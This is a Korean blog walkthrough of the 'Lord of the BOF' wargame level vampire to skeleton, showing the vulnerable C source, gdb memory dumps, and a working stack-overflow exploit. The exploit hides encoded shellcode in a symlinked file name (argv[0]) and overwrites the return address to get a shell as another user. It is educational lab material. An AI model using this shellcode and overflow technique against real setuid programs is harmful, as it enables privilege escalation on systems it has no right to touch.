LOB vampire => skeleton

c0wb3ll ㅣ 2020. 3. 25. 15:23

LOB vampire => skeleton

문제

[vampire@localhost vampire]$ cat skeleton.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - skeleton
        - argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i, saved_argc;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    // egghunter 
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

    // check the length of argument
    if(strlen(argv[1]) > 48){
        printf("argument is too long!\n");
        exit(0);
    }

    // argc saver
    saved_argc = argc;

    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

    // ultra argv hunter!
    for(i=0; i<saved_argc; i++)
        memset(argv[i], 0, strlen(argv[i]));
}

argv[0]부터 버퍼까지 스택에서 쓸만하다 싶은 공간은 전부 초기화 시켜 버렸다.


풀이

공략 방식을 찾기 위해 gdb로 main 끝자락에 bp를 건후 쓸만한 공간을 찾아봐야 한다.

---Type <return> to continue, or q <return> to quit---
0x804864c <main+332>:    push   0
0x804864e <main+334>:    mov    %eax,DWORD PTR [%ebp-44]
0x8048651 <main+337>:    lea    %edx,[%eax*4]
0x8048658 <main+344>:    mov    %eax,DWORD PTR [%ebp+12]
0x804865b <main+347>:    mov    %edx,DWORD PTR [%eax+%edx]
0x804865e <main+350>:    push   %edx
0x804865f <main+351>:    call   0x8048430 <memset>
0x8048664 <main+356>:    add    %esp,12
0x8048667 <main+359>:    inc    DWORD PTR [%ebp-44]
0x804866a <main+362>:    jmp    0x8048623 <main+291>
0x804866c <main+364>:    lea    %esi,[%esi*1]
0x8048670 <main+368>:    leave    
0x8048671 <main+369>:    ret 
End of assembler dump.
(gdb) 

main+364 부분에 bp를 건 후 stack 영역에서 남는 부분을 찾아보면 될 것 같다.

[vampire@localhost tmp]$ gdb skeleton 
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) set disassembly-flavor intel
(gdb) b*main +368
Breakpoint 1 at 0x8048670
(gdb) r `python -c "print '\xbf'*48"`
Starting program: /home/vampire/tmp/skeleton `python -c "print '\xbf'*48"`
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜

Breakpoint 1, 0x8048670 in main ()
(gdb) x/10000s $esp

x/10000s $esp 로 esp 레지스터부터 문자열이 남아있는 공간을 찾아보자.

0xbfffffdb:     ""
0xbfffffdc:     ""
0xbfffffdd:     ""
0xbfffffde:     ""
0xbfffffdf:     ""
0xbfffffe0:     ""
---Type <return> to continue, or q <return> to quit---
0xbfffffe1:     "/home/vampire/tmp/skeleton"
0xbffffffc:     ""
0xbffffffd:     ""
0xbffffffe:     ""
0xbfffffff:     ""

다른 부분은 전부 ''로 초기화 된 것을 확인할 수 있는데 파일 경로와 이름 부분은 초기화 되지 않은 것을 확인할 수 있었다. 그럼 argv[0]를 이용하여 쉘을 땃을 때와 비슷하게 해주면 될 것 같다.

[vampire@localhost tmp]$ ln -s skeleton `python -c "print '\x90'*100 + '\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81' + '\x90'*100"`

사용하는 쉘코드는 저번과 같이 ''\x2f' 가 없는 쉘코드를 사용해주어야 한다. 또한 자세히 보면 마지막 부분에도 '\x90' NOP가 들어갔는데 이 이유는 스택 맨 밑과 가까우면(?) 제대로 쉘코드가 실행되지 않을 수 있기 때문이라고 한다. 실제로 저거 안넣고 삽질 오지게 했다....

[vampire@localhost tmp]$ ./`python -c "print '\x90'*100 + '\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81' + '\x90'*100"` `python -c "print 'A'*44 + '\xbf\xbf\xbf\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA옜옜
Segmentation fault (core dumped)

적당히 점프할 주소를 찾기 위해 ret값을 0xbfbfbfbf로 주고 분석을 하도록 하자.

[vampire@localhost tmp]$ gdb -q -c core
Core was generated by `                                                                              '.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/100wx $esp
0xbffff800:    0x00000000    0xbffff844    0xbffff850    0x40013868
0xbffff810:    0x00000002    0x08048450    0x00000000    0x08048471
0xbffff820:    0x08048500    0x00000002    0xbffff844    0x08048390
0xbffff830:    0x080486ac    0x4000ae60    0xbffff83c    0x40013e90
0xbffff840:    0x00000002    0xbffff943    0xbffffa3e    0x00000000
0xbffff850:    0xbffffa6f    0xbffffa85    0xbffffa9e    0xbffffabd
0xbffff860:    0xbffffadf    0xbffffaec    0xbffffcaf    0xbffffcce
0xbffff870:    0xbffffceb    0xbffffd00    0xbffffd1f    0xbffffd2a
0xbffff880:    0xbffffd44    0xbffffd54    0xbffffd5c    0xbffffd66
0xbffff890:    0xbffffd76    0xbffffd84    0xbffffd92    0xbffffda3
0xbffff8a0:    0xbffffdae    0xbffffdc1    0xbffffe04    0x00000000
0xbffff8b0:    0x00000003    0x08048034    0x00000004    0x00000020
0xbffff8c0:    0x00000005    0x00000006    0x00000006    0x00001000
0xbffff8d0:    0x00000007    0x40000000    0x00000008    0x00000000
0xbffff8e0:    0x00000009    0x08048450    0x0000000b    0x000001fd
0xbffff8f0:    0x0000000c    0x000001fd    0x0000000d    0x000001fd
0xbffff900:    0x0000000e    0x000001fd    0x00000010    0x0f8bfbff
0xbffff910:    0x0000000f    0xbffff93e    0x00000000    0x00000000
0xbffff920:    0x00000000    0x00000000    0x00000000    0x00000000
0xbffff930:    0x00000000    0x00000000    0x00000000    0x36690000
0xbffff940:    0x00003638    0x00000000    0x00000000    0x00000000
0xbffff950:    0x00000000    0x00000000    0x00000000    0x00000000
0xbffff960:    0x00000000    0x00000000    0x00000000    0x00000000
--- 생략 ---
0xbffffef0:    0x00000000    0x00000000    0x00000000    0x00000000
0xbfffff00:    0x902f2e00    0x90909090    0x90909090    0x90909090
0xbfffff10:    0x90909090    0x90909090    0x90909090    0x90909090
0xbfffff20:    0x90909090    0x90909090    0x90909090    0x90909090
0xbfffff30:    0x90909090    0x90909090    0x90909090    0x90909090
0xbfffff40:    0x90909090    0x90909090    0x90909090    0x90909090
0xbfffff50:    0x90909090    0x90909090    0x90909090    0x90909090
0xbfffff60:    0x90909090    0xeb909090    0xc9315e11    0x6c8032b1
0xbfffff70:    0x8001ff0e    0xf67501e9    0xeae805eb    0x32ffffff
0xbfffff80:    0x306951c1    0x69697430    0x6f6a6330    0x5451e48a
0xbfffff90:    0xb19ae28a    0x9081ce0c    0x90909090    0x90909090
0xbfffffa0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbfffffb0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbfffffc0:    0x90909090    0x90909090    0x90909090    0x90909090
(gdb) 
0xbfffffd0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbfffffe0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffff0:    0x90909090    0x90909090    0x00909090    0x00000000
0xc0000000:    Cannot access memory at address 0xc0000000
(gdb) q

nop이 있는 적당한 위치인 0xbfffff40으로 ret를 조작하면 될 것 같다.

[vampire@localhost tmp]$ ./`python -c "print '\x90'*100 + '\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81' + '\x90'*100"` `python -c "print 'A'*44 + '\x40\xff\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
bash$ id
uid=509(vampire) gid=509(vampire) groups=509(vampire)

tmp로 옮겨논 파일에서 성공적으로 쉘이 따진다. 본파일에서 실행하자.

[vampire@localhost vampire]$ ./`python -c "print '\x90'*100 + '\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81' + '\x90'*100"` `python -c "print 'A'*44 + '\x40\xff\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
bash$ id
uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire)